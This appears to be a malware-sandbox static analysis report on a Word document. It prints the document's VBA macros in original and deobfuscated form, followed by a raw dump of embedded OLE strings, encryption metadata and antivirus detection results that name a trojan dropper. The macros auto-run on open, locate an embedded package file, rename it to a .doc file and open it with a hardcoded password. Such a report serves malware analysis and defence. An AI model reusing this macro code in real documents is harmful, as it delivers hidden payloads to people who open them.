popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
        Dim nccx As String
        Dim bbbb As String
        Dim med As String
        Dim vssfs As String
Private Sub Document_Open()
Dim dfgdgdg
Call s1("Lo")

Dim fds, fdsa As String
fds = "\"
 fdsa = ".d"
Call s2("cal/")
Call ass

Dim kytrewwf As String
kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)

If Dir(kytrewwf & fds & "di" & "plo" & fdsa & vssfs) = "" Then
Dim mySum
mySum = Application.Run("bvxfcsd")

If Len(nccx) > 2 Then


Call nam(nccx, kytrewwf)
Call pppx(kytrewwf & fds & "di" & "plo" & fdsa & vssfs)




End If
End If
End Sub


Sub ass()
vssfs = "o" & "c"
End Sub


Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), nccx)

End Sub

Deobfuscated

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
        Dim nccx As String
        Dim bbbb As String
        Dim med As String
        Dim vssfs As String
Private Sub Document_Open()
Dim dfgdgdg
Call s1("Lo")

Dim fds, fdsa As String
fds = "\"
 fdsa = ".d"
Call s2("cal/")
Call ass

Dim kytrewwf As String
kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)

If Dir(kytrewwf & fds & "diplo" & fdsa & vssfs) = "" Then
Dim mySum
mySum = Application.Run("bvxfcsd")

If Len(nccx) > 2 Then


Call nam(nccx, kytrewwf)
Call pppx(kytrewwf & fds & "diplo" & fdsa & vssfs)




End If
End If
End Sub


Sub ass()
vssfs = "oc"
End Sub


Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), nccx)

End Sub

Original

                                        Attribute VB_Name = "Module1"


Sub pppx(spoc As String)
Dim lkvc As String
lkvc = spoc
    Documents.Open FileName:=lkvc, ConfirmConversions:=False, ReadOnly:= _
        False, AddToRecentFiles:=False, PasswordDocument:="2281337", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module1"


Sub pppx(spoc As String)
Dim lkvc As String
lkvc = spoc
    Documents.Open FileName:=lkvc, ConfirmConversions:=False, ReadOnly:= _
        False, AddToRecentFiles:=False, PasswordDocument:="2281337", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub

Original

                                        Attribute VB_Name = "Module3"
Dim vv1, vv2, vv3, vv4, fafaa As String

Sub s1(vi As String)
vv1 = vi
End Sub
Sub s2(vi As String)
vv2 = vi
End Sub
Sub s3(vi As String)
vv3 = vi
End Sub
Sub bvxfcsd()
vv3 = "T" & "e"
 Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2

    Selection.TypeBackspace

Selection.Copy
Dim uuuuc
uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)

    ntgs = 50
sda = 49


vv4 = "mp"
Dim kuls As String

kuls = vv1 & vv2 & vv3 & vv4


fafaa = kuls
While sda < 50
      ntgs = ntgs - 1

      If Dir(Left(uuuuc, ntgs) & kuls, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & fafaa)
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module3"
Dim vv1, vv2, vv3, vv4, fafaa As String

Sub s1(vi As String)
vv1 = vi
End Sub
Sub s2(vi As String)
vv2 = vi
End Sub
Sub s3(vi As String)
vv3 = vi
End Sub
Sub bvxfcsd()
vv3 = "Te"
 Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2

    Selection.TypeBackspace

Selection.Copy
Dim uuuuc
uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)

    ntgs = 50
sda = 49


vv4 = "mp"
Dim kuls As String

kuls = vv1 & vv2 & vv3 & vv4


fafaa = kuls
While sda < 50
      ntgs = ntgs - 1

      If Dir(Left(uuuuc, ntgs) & kuls, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & fafaa)
End Sub

Original

                                        Attribute VB_Name = "Module123345"
Dim pls As String


 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object
 Dim siplo As String
siplo = "o"
siplo = siplo & "e"
    Dim Ters As Object
  Dim fffff
  fffff = "diplo.i" & siplo
For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc

   For Each Ters In mds.Files
   
   If Ters.Name = fffff Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub



Sub nam(pafs As String, aaaa As String)
Call ousx(aaaa)
Dim abrakadabra As String
abrakadabra = "o"

Dim oxl
oxl = "\diplo.d" & abrakadabra & "c"
Name pafs As pls & oxl
End Sub

Sub uoia(fffs As String)
pls = fffs
End Sub












Sub ousx(aaaa As String)
Call uoia(aaaa)
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module123345"
Dim pls As String


 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object
 Dim siplo As String
siplo = "o"
siplo = siplo & "e"
    Dim Ters As Object
  Dim fffff
  fffff = "diplo.i" & siplo
For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc

   For Each Ters In mds.Files
   
   If Ters.Name = fffff Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub



Sub nam(pafs As String, aaaa As String)
Call ousx(aaaa)
Dim abrakadabra As String
abrakadabra = "o"

Dim oxl
oxl = "\diplo.d" & abrakadabra & "c"
Name pafs As pls & oxl
End Sub

Sub uoia(fffs As String)
pls = fffs
End Sub












Sub ousx(aaaa As String)
Call uoia(aaaa)
End Sub
EMBED Package
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
nUZ=kI
$~u3{g
ieo.(S
5)93M
|,)#*h
i%C$WR
S'Z`>.
Cw+GoSG
GRTum\
-&=^%f
ui,."1r
ukm>i3
u9_,ZOG
WVO}Z8(x;
Paz#mv8
O+:k=R
t_:o!Uc
ki${dc
G-;Fn,|
ywe*0}
\\jW:U
rivik'
T.c*MG
-l..Ya
jmSL]gG
-lUo5+y
G/zM\q
a5mCUi#
S[yK3|
|W6m+/
I/<9"Gz
[Oki,*
]pW9*i
/<!$rJ
REo43F
jW?"6c
~Vkhdo'o
g4PI$RG3G
Ja'v::|
=UD{kJ;
tFWW9e
mZ+%dsN<
Wg<k,o
+W]MyY
iD&e*
>_+}Rb;O
jp[^,-
~}_x;L
^fO:H.
'$?h]j
S4[ZY$
xoTY#J
jvwRIp
R(eo-Yw7
"gsK#|
RIUlf3
joZ<Qq
?=eR7F
<Ar#TM
X}sO[y
rx:]c[
^KnY^3
+$?l[a
\GVn/!
IW.?u
kmsV;x
[xOKm>
t]tCP][$
tslFhZ/
e]1n^%
,Mk;E
scogy=
9m'_28
>'kpxwM
RG%I)\u
Tt;8l6yP
4T'Ze
SkA5rJ
^Iwe,Mx
?.I~_3v
]5oSdcO
i#2C4ed
_2kgy--d
4i+6?v
RyuiXM\mIE
yS],P43[
}FuHbA
{H,4Y"
[H4}5^x
q"El^$
SSh9t35KO
mNInaV
8uK)mnb
zlWI,7
PCW1|y
USWg&"MlS
WRT~W
z4j)+3
u4vur;:
jIEGRU
.InTa&
9>$xkK
kJ7fu6,
o>4^J6[
QEdhtc
Vt54r-p
CV*!RTu%
uI|Iqq
E}'EU
\Z0}h
OLE Package
Package
Normal.dotm
diplo.ioe
C:\Users\MyPc\Desktop\New folder\diplo.ioe
C:\Users\MyPc\AppData\Local\Temp\diplo.ioe
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<encryption xmlns="http://schemas.microsoft.com/office/2006/encryption" xmlns:p="http://schemas.microsoft.com/office/2006/keyEncryptor/password" xmlns:c="http://schemas.microsoft.com/office/2006/keyEncryptor/certificate"><keyData saltSize="16" blockSize="16" keyBits="256" hashSize="64" cipherAlgorithm="AES" cipherChaining="ChainingModeCBC" hashAlgorithm="SHA512" saltValue="WFBn2tG
PXtb%53
jC}[>1
D^Au1Yf22%
_}>1AuO;:T
iAK,]$
-XN)r$)\B
uk.FTZ
1dr@E#L
0!C6@y
p6)yAl+
r2w]c-S
W]yJgbQF
+W$@0=
"gi(vVF
t^4-IT1v
L89x_z
t\nLrR
mLeApx
G?*nv'.
X|[FfC^~
b{&|`%
*'Y.[[9gdR
Y(B_P9
B)B|f)_
?vF5Ft
uK( Ok
NZ#`S%
`GRO^Q
{n1+p"
#nQ6iQ
d$]z8~
BfWO33+
ABH9~H
%o{;xXtD
o%MzcN
<5.cDRX
6cUP'%
M9FBzI
3Foxk0:
%A&-e9yL
gp(?yL5so+
>Qv6=*(
3vj5)d
'i`:q+in
oB?GQc
:F4mw
4!~"eJ4K
{,c>Mg
s.W6O@gT
@I)#"!
IEn0un
VtVk5+,51
^|]rp=
Hy2D|C
Y(Ve$UU
`u~0~|lm
+NW}?Q
d"0xG`d
*>Pkav
NLlGf#
<j6qV
6'Z:Bh
sG%%_.Ci
NcOhI/
]r#*IQG r
rL51V%J
'[KVv|
\`!t0A
R9]`Wj
wEe$2(
Jz=a>
[+x,B
zcj59=
DHdwya
$|EyP>B
LGM9s2d
1^heCZI
N=PrTK
H|Z3R9qU
K|q4Mv
SZGROhY
pYhOvNw
i7KK0H
2hpn!h
\3;yMM
1q.xA?~
r3I;[]
]o'1:.w
Jf2-YY
O &__q
'0q`=O
:}-w=R
0XkZH44
oxe/qk
L6(8ofI6,
-M7*O;
<tb&%y
y6r5#}
:~zKkzDS
"YJiU"K
SL?v+L}O6i
\31zzM
(S0Y9#)
p%8r|<
T9^x-
VhwwJF
!j8&:@
c{A@V$
~)ES B
j)f#;M
\^NL8[N
\+8S_
tM<ypyU
6(w6=f:dHF
GzQR2x
!u3jqu
A"j^V_
h])A>}n
&}rPK
#@B$g8
<`Jw7_n
x:7T2N`
X&"C*i
B@CnuH
&mME+$
=dVRu`n
rr>/d3_
4Z!qhtdd:r
L'ZzuwmP
oIulnu
t~2hfy
_#]Q-t
X&*iJL
!#;ESsf0
eb=`/!
'j\}<]
$E*N"vy2A+
p?C)N~
VG/#?T
Z#\yzs
eA{!rk
XqTI}5~
>emTiCr$
F:_)~m
@u/*-g
[CO+|F}
0]xwos
7C]KVuv'
4*LC/0
:yi2F]MH
Os|5Fp
GC#.MV
l|3y;p
ulY+IM
g>A5yM$
P_^y]I
1[Y3i!
}*?_qF
&E6FZ28
R11y5c
O~1,+V
7aD$p`
g4LJGl
u?[=y'?
8 JHG%@O
xfFb}[x\
b*4-TVC)
X_:@YA
P"rm,C
z(t9lp
;p~,1Q}
U"1Bz4(T
*HCc;A
(ZNF}h
:?zo(
3rI;S*
\Gm`@$
]7vh~:
zvpkXf
xIE)XP~
"VEsaH
`]i^^};N
Kl5#X~9
j[+tF7
N=wK_S
1fv?-Y
!y;;J<
'T3KYF
D!SGFR
deq!.LE#t
;~e.26b9gX
?MNYKk}
Oo@60H
g"]Uo"
[0{j.|
lWzGV;`3
8k=fgJ$m
`3`&cT
.#^RFS
:RI'T^N
MP0qT
aRCOwj
^U6C44
n<smvp]v
\P'ZJF<`
GiDmp`
!Uiq3h
\m4=B&
T5M'9
HfF`j?
;nn|MP
gAz%jc6Af`f
{Jx'Yy
1ux@Yj
vU$Tg1
L~_>2G
2Q;(>?
i>c[GB
:uS+1Y
5ZuLB]#
tP{1&5
KS<f<&q_
r&96tgm
I>\e`6<
'~257"M
j`Tvwn
Ii{jE-
m**T8_RP
UeU9NLA
F</pf~H
AARhfC
T~HRqZ
i]ibpW
"L+)c7o
wnJ4%{
M?+/YPZ
xQ#]WW
gWEw{$
zqZNF5;
m)"_s*v
C^=nE@{ST
T!NC[3
DxIKp
upjiFn
|rF.X'
yl9ZRVK
m{2ZO`
'XG[1Kl
f&ZKRW
rlz*/7
{#-''b
ypbSO
nTJ 1B
sIrtHISh
@z)>3#
WrJ)'o
m}VGk[c
]-:Y0x
=tRxA#
?Y.=^3
_7|F!"
0&ML^S
':k'Qdp
AJ7XkhJn
Df\iuP~
oLkPqF
t#EZpsP3K
uF.B^g
d\f~U<'
L{ pJ|
V:g;6p
Mz><E<s
/2jxudU+6mM/uNw=="/><dataIntegrity encryptedHmacKey="FArHsLzyB7uc8OZ786xWRK/ooCdursjIpfqByH/YZ7rccwnD+jUA+u/HBuNVyPzPaGIAAoUfnU9qD0SHLAkg8g==" encryptedHmacValue="tOWeJFy3NrGcTrFhCEqTCj0Q/6tKzilqM/FD1R2kJtwPdLOR6fb4MrGeE2rvJlLQa4kx62o+wpOT/lc9yCe+uw=="/><keyEncryptors><keyEncryptor uri="http://schemas.microsoft.com/office/2006/keyEncryptor/password"><p:encryptedKey spinCount="100000" saltSize="16" blockSize="16" keyBits="256" hashSize="64" cipherAlgorithm="AES" cipherChaining="ChainingModeCBC" hashAlgorithm="SHA512" saltValue="uWRLvVCzR8NhD0qSYw8tZg==" encryptedVerifierHashInput="rF7setFVTTbz2j257E1kvg==" encryptedVerifierHashValue="0YTxHbMlLwdc6BmL5V1rOvww6s1IpS3mqjL+M+sIQXzfFnEH/JTVWlDnGXOs0XvWS3BryGMv9aVGTqdC76A7jA==" encryptedKeyValue="W5mkFx5dG+Fl32FQXTdEw2gX5F7Hbc7V0a5M1fj7iNc="/></keyEncryptor></keyEncryptors></encryption>
SII%{$
|z`?p,
Project
\G{00020
0046}#
2.0#0#C:
\Windows
\System3
e2.tlb
#OLE Aut
omation
ENormal
!Offic
!G{2DF
8D04C-5B
FA-101B-
m Files\@Common
icrosoft
Shared\
OFFICE16
\MSO.DLL
M 16.0
Lib0rary
5Scripti
f420B28
E718-11C@F-893D
C9054228
fcrru`n.dllH*
Runtime
ocumentG
qeQ@.t
Module1G
2281337
Attribut
e VB_Nam
e = "Mod
Sub pppx
(spoc As
Dim lkv
Docume
nts.Open File
R, Confi
ons:=Fal
se, Read
Only:= _
AddTo8Rec
5Pa@ssword
="228133
'Tem`plate
'Fordma
uto, XML
Transf
Attribut
e VB_Nam
e = "Mod
im vv1,
afaa As
Sub s1(vbi
(bvxfcsd
!"T" &
ection.M
oveDown
Unit:=wd
Line, Co
haracter
eBackspa
aultFile
Path(wdU
serTemplpates
Dir(Lef
t(B8,
*" ThenG
cument.h
*\CNormalrU
ThisDocument
Module1
Module3
Module123345
Project
C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL
C:\Program Files\Microsoft Office\Root\Office16\MSWORD.OLB
C:\Windows\System32\stdole2.tlb
stdole
C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL
Office
C:\Windows\System32\scrrun.dll
Scripting
Document
Document_Open
bvxfcsd
Search
VBE7.DLL
diplo.i
\diplo.d
Attribut
e VB_Nam
e = "Mod
ule12334
pls As S!
ub Searc
ect, paf!
or Each Q
ErrHandl
nam(
Gc@nCall
ousx(
A^abrakad
ID="{D9A888F5-5B1A-42D7-A5EE-62EE861653BD}"
Document=ThisDocument/&H00000000
Module=Module1
Module=Module3
Module=Module123345
Name="Project"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="F8FAF402F802F802F802F8"
DPB="F0F2FCFFFDFFFDFF"
bvxfcsd
Attribut
e VB_Nam
e = "Thi
sDocumen
1Normal
VGlobal!
Pre decla
lateDeri
$Custom
Dim nccx As S
g Sub
_Open()
Call s1`("Lo"
2("cal/
kytrewwf
= CLs.D
efaultFi
lePath(w
B(If Dir(
# & "d
F)A." T
r.Run(
"bvxfcsd
:namr(
p8ppx+*
d(asdHt
`MyFSOAf
ystemObj|ec@
ourceFolhder!
estin")
ew Scri@n8ng.
.Se arch(
Win64x
Project-
stdole
Normal
Office
Scripting
ThisDocument<
_Evaluate
Document_Open
dfgdgdgH
abrakadabra_
kytrewwfjA
Options
DefaultFilePath
wdUserTemplatesPath
bvxfcsdn
hdhdde
FileSystemObjectNU
MyFile
SourceFolder
DestinationFolder
MyFolder
Folder
MySubFolder
Search
GetFoldern
Module1b
Documents
FileNamej
ConfirmConversions
ReadOnly4<
AddToRecentFiles
PasswordDocument8
PasswordTemplate
Revert
WritePasswordDocument
WritePasswordTemplate
wdOpenFormatAutoh
XMLTransform
Module3d
fafaaM
SelectionZ
MoveDown
wdLine
Count0v
MoveRight
wdCharacter
TypeBackspacea
ntgs|W
vbDirectoryg
Module123345+
pafs7}
SubFoldersx=
FileswX
ErrHandle
ousx4$
Documentj
StringzR
bfddsds6
vssfsNU
fvbcvsddscx)
fsdf9$
hfghfgfd
dfgdfg
Application
="E8EAE4F7E5F7E508"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisDocument=78, 0, 1098, 467,
Module1=104, 104, 1124, 493,
Module3=156, 156, 1176, 545,
Module123345=52, 52, 733, 529, Z
ThisDocument
Module1
Module3
Module123345
Microsoft Word 97-2003 Document
MSWordDoc
Word.Document.8
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
$4vq^W
MB[F7x"
>Yr]H+
a!e9#i
An7jah
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>
Root Entry
WordDocument
ObjectPool
_1693864210
EPRINT
CompObj
ObjInfo
Segoe UI
diplo.ioe
Ole10Native
1Table
SummaryInformation
DocumentSummaryInformation
Root Entry
EncryptedPackage
DataSpaces
Version
Microsoft.Container.DataSpaces
EncryptedPackage2
StrongEncryptionDataSpace
StrongEncryptionTransform
{FF9A3F03-56EF-4613-BDD5-5A41C1D07246}N
Microsoft.Container.EncryptionTransform
DataSpaceMap
DataSpaceInfo
StrongEncryptionDataSpace
TransformInfo
StrongEncryptionTransform
Primary
EncryptionInfo
C:\Users\MyPc\AppData\Local\Temp\diplo.ioe
diplo.ioe*
C:\Users\MyPc\Desktop\New folder\diplo.ioe
Macros
Module1
$*\Rffff*0K63421df1
Module3
__SRP_0
__SRP_1
__SRP_2
$*\Rffff*0I63421df1
bvxfcsd
__SRP_3
__SRP_4
__SRP_5
__SRP_6
__SRP_7
__SRP_8
__SRP_9
Module123345
$*\Rffff*0J63421df1
ThisDocument
_VBA_PROJECT
PROJECT
PROJECTwm
(1Normal.ThisDocument
$*\Rffff*0H63421df1
$*\Rffff*0I63421df1
*\R1*#8d
*\R1*#17b
*\R1*#c1
*\R1*#166
*\R0*#12
*\R1*#c6
*\R1*#c0
$*\Rffff*0J63421df1
$*\Rffff*0K63421df1
*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications
*\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\Program Files\Microsoft Office\Root\Office16\MSWORD.OLB#Microsoft Word 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\System32\stdole2.tlb#OLE Automation
*\CNormal
*\CNormal
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library
*\G{420B2830-E718-11CF-893D-00A0C9054228}#1.0#0#C:\Windows\System32\scrrun.dll#Microsoft Scripting Runtime
ThisDocument
0H63421df1
ThisDocument
Module1
0K63421df1
Module1
Module3
0I63421df1
Module3
Module123345
0J63421df1
Module123345
tThisDocument
1Module1
3Module3
5Module123345
Normal
Default Paragraph Font
Table Normal
No List
Project.Module3.bvxfcsd
Project.ThisDocument.ass
PROJECT.MODULE3.BVXFCSD
PROJECT.THISDOCUMENT.ASS
Unknown
Times New Roman
Symbol
Calibri
Calibri Light
Cambria Math
CompObj
Antivirus Signature
Bkav Clean
Elastic Clean
DrWeb Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Clean
ALYac VB:Trojan.Valyria.5322
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
Cyren Clean
Symantec Clean
ESET-NOD32 a variant of VBA/TrojanDropper.Agent.CEY
TrendMicro-HouseCall Clean
Avast Script:SNH-gen [Trj]
Cynet Clean
Kaspersky HEUR:Trojan-Dropper.Script.Generic
BitDefender VB:Trojan.Valyria.5322
NANO-Antivirus Clean
SUPERAntiSpyware Clean
MicroWorld-eScan VB:Trojan.Valyria.5322
Tencent Clean
Ad-Aware VB:Trojan.Valyria.5322
Sophos Clean
Comodo Clean
F-Secure Clean
Baidu Clean
VIPRE LooksLike.Macro.Malware.k (v)
TrendMicro Clean
McAfee-GW-Edition Artemis!Trojan
FireEye VB:Trojan.Valyria.5322
Emsisoft VB:Trojan.Valyria.5322 (B)
SentinelOne Static AI - Suspicious OLE
GData VB:Trojan.Valyria.5322
Jiangmin Clean
Avira Clean
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Arcabit VB:Trojan.Valyria.D14CA
ViRobot Clean
ZoneAlarm Clean
Microsoft Clean
TACHYON Clean
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
MAX malware (ai score=89)
VBA32 Clean
Zoner Clean
Rising Clean
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet Clean
AVG Script:SNH-gen [Trj]
Panda Clean
No IRMA results available.